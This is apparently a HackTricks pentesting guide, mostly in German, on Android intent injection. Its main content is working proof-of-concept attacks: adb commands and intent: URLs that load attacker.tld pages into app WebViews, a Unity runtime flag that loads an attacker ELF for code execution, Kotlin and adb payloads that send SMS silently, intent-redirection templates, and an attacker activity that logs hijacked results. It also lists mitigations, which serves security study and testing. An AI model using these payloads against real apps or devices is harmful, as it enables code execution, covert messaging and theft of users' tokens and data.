Intent Injection

Reading time: 16 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Intent injection missbraucht Komponenten, die von Angreifern kontrollierte Intents oder Daten akzeptieren, die später in Intents umgewandelt werden. Zwei sehr häufige Muster bei Android-App pentests sind:

  • Weitergabe manipulierte extras an exportierte Activities/Services/BroadcastReceivers, die später an privilegierte, nicht-exportierte Komponenten weitergeleitet werden.
  • Auslösen exportierter VIEW/BROWSABLE deep links, die von Angreifern kontrollierte URLs in interne WebViews oder andere sensible Sinks weiterleiten.

If an app exposes a custom scheme deep link such as:

text
myscheme://com.example.app/web?url=<attacker_url>

Wenn die empfangende Activity den url-Query-Parameter in eine WebView weiterleitet, können Sie die App dazu zwingen, beliebige entfernte Inhalte in ihrem eigenen WebView-Kontext darzustellen.

PoC via adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS wird im WebView-Profil der App ausgeführt.
  • Wenn JavaScript aktiviert ist (standardmäßig oder aufgrund falsch angeordneter Checks), können Sie alle exponierten @JavascriptInterface-Objekte auflisten/verwenden, WebView cookies/local storage stehlen und pivoten.

See also:

Webview Attacks

Fehler in der Prüfungsreihenfolge, der JavaScript aktiviert

Ein wiederkehrender Fehler ist, JavaScript (oder andere permissive WebView-Einstellungen) zu aktivieren, bevor die finale URL-Allowlist/Verifikation abgeschlossen ist. Wenn frühe Helfer Ihren deep link akzeptieren und zuerst die WebView konfiguriert wird, erfolgt Ihr finaler Load mit bereits aktiviertem JavaScript, selbst wenn spätere Prüfungen fehlerhaft oder zu spät sind.

Worauf in dekompiliertem Code zu achten ist:

  • Mehrere Helfer, die die URL unterschiedlich parsen/splitten/wiederaufbauen (inkonsistente Normalisierung).
  • Aufrufe von getSettings().setJavaScriptEnabled(true) vor der letzten Host/Path-Allowlist-Prüfung.
  • Eine Pipeline wie: parsen → teilweise validieren → WebView konfigurieren → final verifizieren → loadUrl.

Unity Runtime: Intent-zu-CLI-Extras → Native-Library-Injektion vor der Initialisierung (RCE)

Unity-basierte Android-Apps verwenden typischerweise com.unity3d.player.UnityPlayerActivity (oder UnityPlayerGameActivity) als Entry Activity. Unitys Android-Template behandelt ein spezielles Intent-Extra namens unity als eine Zeichenkette von Kommandozeilenflags für die Unity-Runtime. Wenn die Entry Activity exported ist (Standard in vielen Templates), kann jede lokale App – und manchmal eine Website, wenn BROWSABLE gesetzt ist – dieses Extra liefern.

Ein gefährliches, undokumentiertes Flag führt während der sehr frühen Prozessinitialisierung zur Ausführung nativen Codes:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) sehr früh in der Init, lädt ein vom Angreifer kontrolliertes ELF im Prozess der Ziel-App mit deren UID und Berechtigungen.

Reverse-engineering excerpt (simplified):

c
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Warum es funktioniert

  • Das Intent-Extra unity wird in Unity-Laufzeitflags geparst.
  • Das Setzen des pre-init flag weist Unity auf einen attacker-controlled ELF-Pfad innerhalb eines erlaubten linker namespace-Pfads hin (siehe Einschränkungen unten).

Bedingungen für die Ausnutzung

  • Die Unity entry Activity ist exported (in der Regel standardmäßig).
  • Für one-click remote via browser: die entry Activity deklariert außerdem android.intent.category.BROWSABLE, sodass extras von einer intent: URL übergeben werden können.

Lokale Ausnutzung (gleiches Gerät)

  1. Platziere ein payload ELF an einem Pfad, der von der victim app gelesen werden kann. Am einfachsten: liefere eine malicious library in deiner eigenen attacker app mit und stelle sicher, dass sie unter /data/app/.../lib/<abi>/ extrahiert wird, indem du im attacker’s manifest:
xml
<application android:extractNativeLibs="true" ...>
  1. Starte die Unity-Aktivität des Opfers mit dem CLI pre-init Flag im unity extra. Beispiel ADB PoC:
bash
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); dein payload läuft im victim process und erbt alle app permissions (camera/mic/network/storage, etc.) sowie Zugriff auf in-app sessions/data.

Notes

  • Der genaue Pfad /data/app/... variiert je nach Gerät/Installation. Eine attacker app kann ihr eigenes native lib dir zur Laufzeit via getApplicationInfo().nativeLibraryDir abrufen und an den Trigger kommunizieren.
  • Die Datei muss nicht mit .so enden, wenn sie ein gültiges ELF ist — dlopen() achtet auf ELF-Header, nicht auf Dateiendungen.

Remote one‑click via browser (conditional) If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:

text
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Auf modernen Android-Versionen blockieren die dynamic linker namespaces und SELinux das Laden aus vielen öffentlichen Pfaden (z. B. /sdcard/Download). Sie sehen Fehler wie:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Umgehungsstrategie: Ziele Apps an, die vom Angreifer kontrollierte Bytes im privaten Speicher zwischenspeichern (z. B. HTTP caches). Da erlaubte Pfade /data und das private Verzeichnis der App einschließen, kann das Setzen von -xrsdk-pre-init-library auf einen absoluten Pfad innerhalb des App-Caches die Linker-Beschränkungen erfüllen und Code-Ausführung ermöglichen. Dies spiegelt frühere cache-to-ELF RCE‑Muster wider, die in anderen Android-Apps beobachtet wurden.

Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)

Einige Standard-Messaging-Apps führen implizite Messaging‑Intents fälschlicherweise automatisch aus und verwandeln sie so in eine confused‑deputy‑Primitive: jede unprivilegierte App kann Intent.ACTION_SENDTO mit sms:, smsto:, mms:, oder mmsto: auslösen und damit sofortiges Senden ohne Bestätigungs‑UI und ohne die Berechtigung SEND_SMS verursachen.

Key points

  • Trigger: implizites ACTION_SENDTO + Messaging-URI-Schema.
  • Data: Empfänger in der URI setzen, Nachrichtentext im Extra "sms_body".
  • Permissions: keine (kein SEND_SMS), abhängig vom Standard-SMS/MMS-Handler.
  • Observed: Google Messages for Wear OS (gepatcht Mai 2025). Andere Handler sollten ebenfalls geprüft werden.

Minimal payload (Kotlin)

kotlin
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (keine besonderen Berechtigungen)

bash
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Erweiterung der Angriffsfläche (Wear OS)

  • Jede Komponente, die Activities starten kann, kann dieselbe Payload auslösen: Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • Wenn der Standard-Handler automatisch sendet, kann ein Missbrauch je nach OEM-Richtlinien per one‑tap oder vollständig still aus Hintergrundkontexten erfolgen.

Pentest checklist

  • Resolve ACTION_SENDTO auf dem Ziel, um den Standard-Handler zu identifizieren; überprüfe, ob er eine Compose-UI anzeigt oder still sendet.
  • Teste alle vier schemes (sms:, smsto:, mms:, mmsto:) und Extras (sms_body, optional subject für MMS), um Verhaltensunterschiede zu prüfen.
  • Berücksichtige kostenpflichtige Zielnummern / Premium‑Rate‑Nummern beim Testen auf echten Geräten.

Other classic Intent injection primitives

  • startActivity/sendBroadcast unter Verwendung attacker-gelieferter Intent-Extras, die später erneut geparst (Intent.parseUri(...)) und ausgeführt werden.
  • Exportierte Proxy-Komponenten, die Intents an nicht-exportierte sensitive Komponenten ohne Berechtigungsprüfungen weiterleiten.

Automating exported-component testing (Smali-driven ADB generation)

Wenn exportierte Komponenten bestimmte Extras erwarten, führt das Raten der Payload-Struktur zu Zeitverschwendung und False-Negatives. Du kannst die Erkennung von Keys/Typen direkt aus Smali automatisieren und ausführbare adb-Kommandos erzeugen.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Ansatz: dekompiliere und scanne Smali nach Aufrufen wie getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() um abzuleiten, welche Extras und Felder von jeder Komponente verwendet werden.
  • Ausgabe: Für jede exportierte Activity/Service/Receiver/Provider gibt das Tool eine kurze Erklärung und den exakten adb shell am .../cmd content ...-Befehl mit korrekt typisierten Flags aus.

Install

bash
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Verwendung

bash
python apk-components-inspector.py target.apk

Beispielausgabe

bash
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am Extras-Spickzettel (typenbewusste Flags)

  • Strings: --es key value | String-Array: --esa key v1,v2
  • Ganze Zahlen: --ei key 123 | Int-Array: --eia key 1,2,3
  • Boolean-Werte: --ez key true|false
  • Longs: --el key 1234567890
  • Floats: --ef key 1.23
  • URIs (extra): --eu key content://... | Data-URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null-String-Extra: --esn key
  • Common flags: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Pro-Tipps für Provider

  • Verwende adb shell cmd content query|insert|update|delete ..., um ContentProviders ohne Agents anzusprechen.
  • Für SQLi-Tests variiere --projection und --where (aka selection), wenn der zugrundeliegende Provider SQLite-basiert ist.

Vollständige Pipeline-Automatisierung (interaktiver Executor)

bash
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Hilfsskript zum Parsen und Ausführen von adb-Befehlen
python
import subprocess

def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands

for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")

Run on-device: the inspector is Python-based and works in Termux or rooted phones where apktool/androguard are available.


Intent Redirection (CWE-926) – finden und ausnutzen

Pattern

  • Ein exportierter Einstiegspunkt (Activity/Service/Receiver) liest ein eingehendes Intent und leitet es intern oder extern weiter, ohne Quelle/Daten zu validieren, z. B.:
  • startActivity(getIntent())
  • startActivity(intent) where intent came from an extra like redirect_intent/next_intent/pending_intent or Intent.parseUri(...).
  • Verlassen auf action/data/component Felder ohne Überprüfungen; die Identität des Aufrufers wird nicht verifiziert.

What to search in Smali/Java

  • Verwendung von getParcelableExtra("redirect_intent"), getParcelable("intent"), getIntent().getParcelableExtra(...).
  • Direkte Aufrufe von startActivity(...), startService(...), sendBroadcast(...) auf von Angreifer beeinflussten Intents.
  • Fehlende getCallingPackage()/getCallingActivity()-Prüfungen oder eigene Berechtigungs-Checks.

ADB PoC templates

  • Proxy Activity forwarding an extra Intent to a privileged internal Activity:
bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Exportierter Service, der ein redirect_intent parcelable unterstützt:
bash
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver, der ohne Validierung weiterleitet:
bash
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Flags, die für singleTask-style-Verhalten hilfreich sind

bash
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Praxisbeispiele (Auswirkungen variieren):

  • CVE-2024-26131 (Element Android): exported flows, die zu WebView manipulation, PIN bypass und login hijack führen.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → system-level effects.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

Bedrohungsmodell

  • App A erwartet ein sensibles Ergebnis von App B über einen implicit Intent (z. B. ein OAuth redirect, ein document picker result, eine IMAGE_CAPTURE-Rückgabe oder eine benutzerdefinierte callback action).
  • Angreifer-App C veröffentlicht eine exported component mit einem passenden <intent-filter> für dieselbe action/category/data. Wenn B den implicit Intent auflöst, kann der resolver einen chooser anzeigen; wählt der Benutzer C (oder setzt es als Standard), wird die payload an die Angreifer-Komponente statt an A geliefert.

Minimal PoC manifest (attacker):

xml
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

Handler-Skelett:

java
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Hinweise

  • Die Spezifität der Übereinstimmung ist entscheidend (action + categories + data). Je spezifischer C’s Filter gegenüber B’s ausgehendem Intent ist, desto höher die Wahrscheinlichkeit, dass er angezeigt oder automatisch ausgewählt wird.
  • Das gilt auch für Deep Links (VIEW + BROWSABLE), wenn Apps erwarten, dass eine andere App eine URL behandelt und etwas zurückgibt.

Pentest guidance

  • Grep das Ziel nach startActivity/startActivityForResult/registerForActivityResult-Aufrufen, die nicht-explizite Intents verwenden.
  • Untersuche Intents, die Tokens in extras, clipData oder getData() transportieren, und prüfe, ob ein Drittanbieter einen kompatiblen Filter registrieren könnte.
  • Empfehle, implizite Flows durch explizite Intents zu ersetzen (set setPackage()/setComponent()), oder caller-permission/signed permissions auf exportierten Receivers/Services zu verlangen.

Gegenmaßnahmen

  • Bevorzuge explizite Intents für sensitive Flows (callbacks, tokens, auth results).
  • Wenn Cross-App-Kommunikation notwendig ist, füge dem empfangenden Komponenten Berechtigungsanforderungen hinzu und validiere die Identität des Callers.
  • Begrenze und straffe Intent-Filter auf das absolut Notwendige (scheme/host/path/MIME).

Beobachten der Resolver-Entscheidungen (FLAG_DEBUG_LOG_RESOLUTION)

Wenn du den Sender kontrollierst, füge einem impliziten Intent Intent.FLAG_DEBUG_LOG_RESOLUTION hinzu, damit Android protokolliert, wie die Auflösung erfolgt und welche Komponente ausgewählt wird.

Beispiel:

java
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

In adb logcat sehen Sie den Auflösungsverlauf und die finale Komponente, z. B. com.android.camera2/com.android.camera.CaptureActivity.

CLI-Tipp

bash
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

Das ist nützlich, um mögliche Handler auf einem Gerät/Emulator aufzulisten und genau zu bestätigen, welche Komponente während des Tests ein Intent erhält.


Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks